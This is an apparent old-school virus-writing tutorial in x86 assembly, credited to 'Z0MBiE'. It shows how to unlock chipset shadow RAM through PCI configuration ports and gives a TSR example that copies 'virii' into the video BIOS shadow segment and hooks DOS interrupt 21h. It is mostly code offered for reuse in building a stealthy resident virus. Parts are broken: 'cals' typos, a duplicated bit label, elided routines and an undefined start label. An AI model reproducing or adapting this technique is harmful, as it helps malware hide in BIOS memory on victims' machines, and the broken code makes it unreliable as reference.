ShadowRAM Technology (c) Z0MBiE

 ; ======================== ShadowRAM Map: ============================

 ;   00x? xxxx xxxx xxxx       sh_R  (readable)
 ;   00x? xxxx xxxx xxxx       sh_W  (writeable)
 ;   00x? xxxx xxxx xxxx       sh_C  (cacheable)
 ;   00x? xxxx xxxx xxxx       sh_X  (reserved)
 ;   bit 15: unused (0)
 ;   bit 14: unused (0)
 ;   bit 13: F000, 64k
 ;   bit 12: reserved

 ;   bit 11: C000, 16k
 ;   bit 10: C400, 16k
 ;   bit 09: C800, 16k
 ;   bit 08: CC00, 16k

 ;   bit 07: D000, 16k
 ;   bit 06: D400, 16k
 ;   bit 05: D800, 16k
 ;   bit 04: DC00, 16k

 ;   bit 03: E000, 16k
 ;   bit 02: E400, 16k
 ;   bit 01: E800, 16k
 ;   bit 08: EC00, 16k

 ; ======================== PCI registers manager =====================

 cf8_read:       mov     ax, 8000h
                 shl     eax, 10h
                 mov     ax, cx
                 and     al, not 3
                 mov     dx, 0CF8h
                 out     dx, eax
                 add     dl, 4
                 mov     al, cl
                 and     al, 3
                 add     dl, al
                 in      al, dx

 cf8_write:      xchg    ax, cx
                 shl     ecx, 10h
                 xchg    ax, cx
                 mov     ax, 8000h
                 shl     eax, 10h
                 mov     ax, cx
                 and     al, not 3
                 mov     dx, 0CF8h
                 out     dx, eax
                 add     dl, 4
                 mov     al, cl
                 and     al, 3
                 add     dl, al
                 shr     ecx, 10h
                 mov     ax, cx
                 out     dx, al

 ; ======================== ShadowRAM manager: ========================

 sh_R            equ     BX
 sh_W            equ     CX
 sh_C            equ     DX
 sh_X            equ     SI

 seg_all         equ     0010111111111111b

 seg_F000_64k    equ     0010000000000000b

 seg_C000_64k    equ     0000111100000000b
 seg_C000_32k    equ     0000110000000000b
 seg_C800_32k    equ     0000001100000000b
 seg_C000_16k    equ     0000100000000000b
 seg_C400_16k    equ     0000010000000000b
 seg_C800_16k    equ     0000001000000000b
 seg_CC00_16k    equ     0000000100000000b

 seg_D000_64k    equ     0000000011110000b
 seg_D000_32k    equ     0000000011000000b
 seg_D800_32k    equ     0000000000110000b
 seg_D000_16k    equ     0000000010000000b
 seg_D400_16k    equ     0000000001000000b
 seg_D800_16k    equ     0000000000100000b
 seg_DC00_16k    equ     0000000000010000b

 seg_E000_64k    equ     0000000000001111b
 seg_E000_32k    equ     0000000000001100b
 seg_E800_32k    equ     0000000000000011b
 seg_E000_16k    equ     0000000000001000b
 seg_E400_16k    equ     0000000000000100b
 seg_E800_16k    equ     0000000000000010b
 seg_EC00_16k    equ     0000000000000001b

 get_sh_state:   mov     di, 0059h

 @@1:            push    cx dx
                 mov     cx, di
                 call    cf8_read
                 pop     dx cx

                 mov     ah, 2

 @@2:            shl     al, 1
                 rcl     si, 1

                 shl     al, 1
                 rcl     dx, 1

                 shl     al, 1
                 rcl     cx, 1

                 shl     al, 1
                 rcl     bx, 1

                 dec     ah
                 jnz     @@2

                 inc     di
                 cmp     di, 005fh
                 jbe     @@1


 set_sh_state:   mov     di, 005Fh

 @@1:            mov     ah, 2

 @@2:            shr     bx, 1
                 rcr     al, 1

                 shr     cx, 1
                 rcr     al, 1

                 shr     dx, 1
                 rcr     al, 1

                 shr     si, 1
                 rcr     al, 1

                 dec     ah
                 jnz     @@2

                 push    cx dx
                 mov     cx, di
                 call    cf8_write
                 pop     dx cx

                 dec     di
                 cmp     di, 0059h
                 jae     @@1


 ; ======================== Example ===================================

 ; Enable write to segments C000 & F000

                 call    get_sh_state
                 or      sh_W, seg_C000_32k + seg_F000_64k
                 cals    set_sh_state

 ; Disable write to segments C000 & F000

                 call    get_sh_state
                 and     sh_W, not (seg_C000_32k + seg_F000_64k)
                 cals    set_sh_state

 ; ======================== TSR in ShadowRAM: Example =================

 ; to compile:   tasm /m filename
 ;               tlink /t /x filename

                 .model tpascal
                 assume ds:code
                 locals @@

                 org 100h
                 mov ax, 0c000h    ; check if alredy resident
                 xor cx, cx
                 int 21h
                 jcxz @@1

 @@exit:         int 20h

 @@1:            mov ax, 3521h
                 int 21h
                 mov word ptr old21 + 0, bx
                 mov word ptr old21 + 2, es

                 mov ax, 1130h     ; es:bp = pointer to font 8x14
                 mov bh, 02h
                 int 10h

                 mov ax, es
                 cmp ax, 0C000h
                 jne @@exit

                 add bp, 15        ; convert  es:bp to Cxxx:0100h
                 and bp, 0fff0h
                 mov ax, es
                 mov bx, bp
                 shr bx, 4
                 add ax, bx
                 sub ax, 16
                 mov es, ax
                 mov bp, 100h

                 call c000_enable  ; enable C000

                 mov di, bp        ; es:di

                 lea si, start     ; write virii to memory
                 mov cx, codesize
                 rep movsb

                 call c000_disable ; disable C000

                 mov ax, 2521h     ; set our int
                 push es
                 pop ds
                 lea dx, int21
                 int 21h

                 int 20h           ; yes!

 ; ========================= Another way of ShadowRAM management =======

 f000_enable:    mov cx, 0059h     ; f000, 64k
                 mov bx, 308fh     ; warning: last 16k used by QEMM !
                 call cf8_io       ;

 f000_disable:   mov cx, 0059h     ; f000, 64k
                 mov bx, 108fh
                 call cf8_io

 c000_enable:    mov cx, 005ah     ; c000, 32k
                 mov bx, 33cch
                 call cf8_io

 c000_disable:   mov cx, 005ah     ; c000, 32k
                 mov bx, 11cch
                 call cf8_io

 cf8_io:         cli
                 call cf8_read
                 and al, bl
                 or  al, bh
                 call cf8_write

 cf8_read:       ...

 cf8_write:      ...

                 ; resident part

 tsr:            nop

 int21:          cmp ax, 0c000h
                 je axc000

                 db 0eah
 old21           dd ?

 axc000:         inc cx

 codesize        equ $-start

                 end start